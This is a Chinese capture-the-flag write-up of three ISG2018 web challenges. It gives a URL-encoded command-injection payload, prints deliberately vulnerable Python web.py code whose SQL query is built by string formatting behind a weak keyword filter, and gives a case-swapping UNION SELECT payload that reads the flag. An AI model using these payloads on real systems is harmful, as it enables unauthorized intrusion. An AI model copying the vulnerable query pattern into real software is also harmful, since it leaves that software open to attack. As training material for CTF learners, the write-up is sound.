ISG2018 web题Writeup
0x01.命令注入
这题可以使用burpsuite扫出来,但是可能需要测一下。
得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23%7c%22%20%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23
刚开始有点尴尬,以为不行了呢。
但是大家可以注意到,等号后面是输出了的,也就是说确实执行了echo的。
然后执行whoami确实执行成功了。
然后就是直接ls得到flag路径cat flag了。
0x02.
提供了如下py文件。
很简单可以看出是存在SQL注入的,但是有部分过滤。
#coding: utf8
import web
import os
import re
import sys
import sqlite3
from web.contrib.template import render_mako abspath = os.path.dirname(__file__)
sys.path.append(abspath)
#os.chdir(abspath)
urls = (
'/', 'index',
'/news-(.+).html', 'news',
# webpy URI route line by line.
) app = web.application(urls, globals(), autoreload=True) web.config.debug = True def my_loadhook():
web.header('content-type', 'text/html;charset=utf-8', unique=True) app.add_processor(web.loadhook(my_loadhook)) def notfound():
return web.notfound('') def internalerror():
return web.internalerror('') app.notfound = notfound
app.internalerror = internalerror render = render_mako(
directories=[abspath + '/templates'],
input_encoding='utf-8',
output_encoding='utf-8',
) def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True class index:
def GET(self): try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
a = cur.execute('select id,title from news order by id asc').fetchall()
cur.close()
conn.close()
return render.index(list=a) class news:
def GET(self, id):
# try:
# id = web.input()['id']
# except:
# raise web.seeother('/')
if not codesafe(id):
return 'Hacker?'
try:
conn = sqlite3.connect(abspath + '/db/data.db')
except:
conn = sqlite3.connect('db/data.db')
cur = conn.cursor()
sql = 'select title,content from news where id = {0}'.format(id)
a = cur.execute(sql).fetchall()
cur.close()
conn.close()
return render.news(title=a[0][0], content=a[0][1]) if __name__ == '__main__':
app.run()
else:
application = app.wsgifunc()
因为根本都没有验证大小写所以直接大小写就可以绕过,这里分享一个比赛的tips,注入里好多表明列明都是flag,别去猜裤猜表了,直接select flag from flag试试。
所以得出payload为:http://202.120.7.206:60019/news-2/**/uNion/**/sELECT/**/1,flag/**/FROM/**/flag.html
0x03.
这题做出来的人比较多也比较low。之前刷题就刷到过。
一打开就是提示要输入密码
然后源码里看到了一个base64加密的发现并不是flag
最终直接curl http://202.120.7.207:60007/index.html得到flag
表示只会做WEB 至于PWN实在是有心无力。
ISG2018 web题Writeup的更多相关文章
- 实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...
- SycSec成都信息工程大学2019CTF-前五道WEB题writeup
一.WEB (1)一起来撸猫 flag藏在标签的注释内 <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 实验吧web题:
实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
随机推荐
- Jquery简单实现Datepicker
cshtml: <input type="text" id="purchaseDate" name="PurchaseDate" va ...
- RabbitMQ 使用详细介绍
1. 实现最简单的队列通信 2. producer端 # !/usr/bin/env python import pika #通过这个实例,先去建立一个socket,默认端口15672 connect ...
- VLC for Android 编译过程
首先,给一个VLC的官网链接:VLC-AndroidCompile 上面有编译所需要安装的插件,环境变量的配置等等信息:虽然是英语,但也挺好理解,这里就不再详述:此文主要记录我在编译的过程中遇到的一些 ...
- 洛谷 P4503 [CTSC2014]企鹅QQ 解题报告
P4503 [CTSC2014]企鹅QQ 题目背景 PenguinQQ是中国最大.最具影响力的SNS(Social Networking Services)网站,以实名制为基础,为用户提供日志.群.即 ...
- Linux内核分析8
周子轩 原创作品转载请注明出处 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 实验目的: 使用gdb ...
- 【bzoj3170】[Tjoi2013]松鼠聚会
3170: [Tjoi2013]松鼠聚会 Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 1670 Solved: 885[Submit][Statu ...
- Linux用户创建及权限管理
作业一: 1,新建用户natasha,uid为1000,gid为555,备注信息为“master” useradd natasha vim /etc/passwd ...
- URL参数带加号“+”AJAX传值失败的解决方法
URL中参数的值有加号,虽然请求的URL中含有加号,但是GET的时候却得不到加号! 解决办法,用JavaScript的encodeURIComponent函数对加号进行编码. 如str="a ...
- OpenCV---Numpy数组的使用以及创建图片
一:对头像的所有像素进行访问,并UI图像进行像素取反 (一)for循环取反 import cv2 as cv import numpy as np def access_pixels(image): ...
- java 关于值引用、地址引用的问题
8种基本引用类型 四种整数类型(byte.short.int.long) 两种浮点数类型(float.double) 一种字符类型(char) 一种布尔类型(boolean) 以及如String, f ...